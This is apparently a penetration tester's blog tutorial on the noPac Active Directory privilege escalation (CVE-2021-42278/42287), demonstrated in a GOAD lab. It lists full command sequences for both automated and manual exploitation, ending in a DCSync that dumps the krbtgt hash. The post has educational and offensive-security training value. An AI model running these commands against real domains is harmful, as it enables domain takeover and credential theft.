Having fun with noPac
What is noPac?
NoPac, released in 2021, is an Active Directory privilege escalation exploit that abuses two vulnerabilities and one function in Active Directory:
- CVE-2021-42278: A vulnerability in the Windows Security Account Manager (SAM) that allows the spoofing of a computer’s
sAMAccountName
, or computer name. - CVE-2021-42287: A vulnerability in the Kerberos Privilege Attribute Certificate (PAC) that allows an attacker to obtain a Kerberos service ticket for a more privileged user than themselves.
- Machine Account Quota: A domain-level attribute that allows users to attach up to 10 computers to a domain.
How noPac works
If you can obtain credentials for a domain-attached user, you can abuse their Machine Account Quota to arbitrarily create computers under their account. At a high level, here are the steps to exploit noPac:
- Obtain credentials for an unprivileged domain-attached user.
- Add a computer to their account using Machine Account Quota—let’s name it
EVIL$
. - Rename the added computer to match the domain controller’s name without the
$
(If the domain controller isDC01$
, name your computerDC01
). - Request a Ticket-Granting Ticket (TGT) for your computer (
DC01
). - Rename your computer back to
EVIL$
or another name. - Using the obtained TGT, request a Service Ticket (ST) to the domain controller while impersonating the administrator (using S4U2Self).
- Profit! If successful, you have achieved domain-wide compromise.
Using the noPac exploit
Despite its age, we still encounter this vulnerability relatively often during engagements, and it’s a ton of fun to abuse—so let’s do just that!
There are two primary ways to execute the noPac exploit. One method uses Ridter’s official tool, while the other involves manually exploiting it using tools like Fortra’s Impacket and Dirkjanm’s Krbrelayx.
Finding the vulnerability
Note: For the following demos, I will use Mayfly’s Game of Active Directory (GOAD) as my exploitation environment.
To identify hosts vulnerable to noPac, I prefer using NetExec’s built-in module. This scan requires credentials, and noPac almost always targets domain controllers.
nxc smb 192.168.56.11 -u 'jon.snow' -p 'iknownothing' -M nopac
As you can see, the domain controller WINTERFELL
is vulnerable to noPac!
Automated Exploitation
Let’s start by exploiting noPac using Ridter’s handy-dandy script. To download it, run the following command and moving into the directory:
git clone https://github.com/Ridter/noPac.git
cd noPac
To run the noPac tool, specify the domain, username, password, and domain controller:
python3 noPac.py 'north.sevenkingdoms.local/jon.snow':'iknownothing' -dc-ip 192.168.56.11
As you can see, the exploit did the following:
- Added a computer to
jon.snow
’s account using Machine Account Quota, creatingWIN-BIOGKR40PA1$
with the password**8oo6aP)J8j
. - Renamed the computer to
winterfell
(CVE-2021-42278). - Requested a Ticket-Granting Ticket (TGT) for the
winterfell
computer. - Renamed
winterfell
back toWIN-BIOGKR40PA1$
. - Used the
winterfell
TGT to request a Service Ticket (ST) as the administrator via constrained delegation’s S4U2Self proxy (CVE-2021-42287). - Attempted to remove the added computer, but
jon.snow
lacks the permissions to do so.
Following this, can see a service ticket for a domain administrator stored on our host!
We can then export this ticket to our memory and prepare it for use.
export KRB5CCNAME=eddard.stark_winterfell.north.sevenkingdoms.local.ccache
Next, type klist
to view the Kerberos ticket information. If klist
is not installed, install it by typing:
sudo apt install krb5-user
Looking at the service ticket, we can see the following details:
- Default Principal:
eddard.stark
account fornorth.sevenkingdoms.local
- Service Principal: Ticket for the
CIFS
SPN onwinterfell.north.sevenkingdoms.local
By exploiting these vulnerabilities, we have successfully obtained a service ticket for the domain administrator! To prove this, we can perform a DCSync attack using impacket-secretsdump
using the exported service ticket:
impacket-secretsdump -k winterfell.north.sevenkingdoms.local
Looking at the output, if you see the NTLM hash for the krbtgt
user, this is complete game over. You can now use this hash to sign your own tickets for any user, bypassing Kerberos’ initial authentication process!
Manual Exploitation
To perform the noPac attack manually, we can do just that using Impacket and Krbrelayx.
Using the same credentials as before, we will add a new computer to jon.snow
’s account using Machine Account Quota. Here, we will call it evilcomputer$
with the password evilPassword123!
:
python addcomputer.py -computer-name 'evilcomputer$' -computer-pass 'evilPassword123!' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
Next, we will clear any existing SPNs that might cause issues. For this, I will use Krbrelayx:
python addspn.py --clear -t 'evilcomputer$' -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' 'winterfell.north.sevenkingdoms.local'
After that, we will rename our machine’s SAMAccountName
to that of the domain controller winterfell
, but without the $
. This exploits CVE-2021-42278:
python renameMachine.py -current-name 'evilcomputer$' -new-name 'winterfell' -dc-ip 'winterfell.north.sevenkingdoms.local' north.sevenkingdoms.local/jon.snow:iknownothing
Now, we will request a TGT for our computer, now named winterfell
:
python getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell':'evilPassword123!'
After receiving the TGT, we will rename the system back to evilcomputer$
:
python renameMachine.py -current-name 'winterfell' -new-name 'evilcomputer$' north.sevenkingdoms.local/jon.snow:iknownothing
With that complete, let’s export the TGT for use and look at its contents:
export KRB5CCNAME=winterfell.ccache
klist
Looking at the ticket-granting ticket, we can see the following:
- Default Principal: This is a TGT for the
winterfell
computer/user in thenorth.sevenkingdoms.local
domain. - Service Principal: If this value contains
krbtgt
, it indicates that this is a valid TGT issued by the KDC.
Next, we will present our ticket-granting ticket to the domain controller and request a service ticket while impersonating the administrator user for winterfell
using the S4U2Self proxy.
This is where we exploit CVE-2021-42287. Since winterfell
(the computer we added and renamed) no longer exists, we will instead receive a ticket for the administrator account of winterfell$
, which is the domain administrator.
python getST.py -self -impersonate 'administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell'
Exporting this ticket and reviewing its details, we can confirm that we have successfully obtained a service ticket for the administrator
user over CIFS/winterfell.north.sevenkingdoms.local
!
export KRB5CCNAME=administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
klist
With the ticket prepared, let’s perform a DCSync attack using secretsdump
:
python secretsdump.py -k winterfell.north.sevenkingdoms.local
Once again, looking at the output, we can see the NTLM hash for krbtgt
, indicating full domain compromise!
References
- https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041
- https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e
- https://www.thehacker.recipes/ad/movement/builtins/machineaccountquota
- https://github.com/Ridter/noPac
- https://github.com/fortra/impacket
- https://github.com/abaker2010/impacket-fixed
- https://github.com/dirkjanm/krbrelayx.git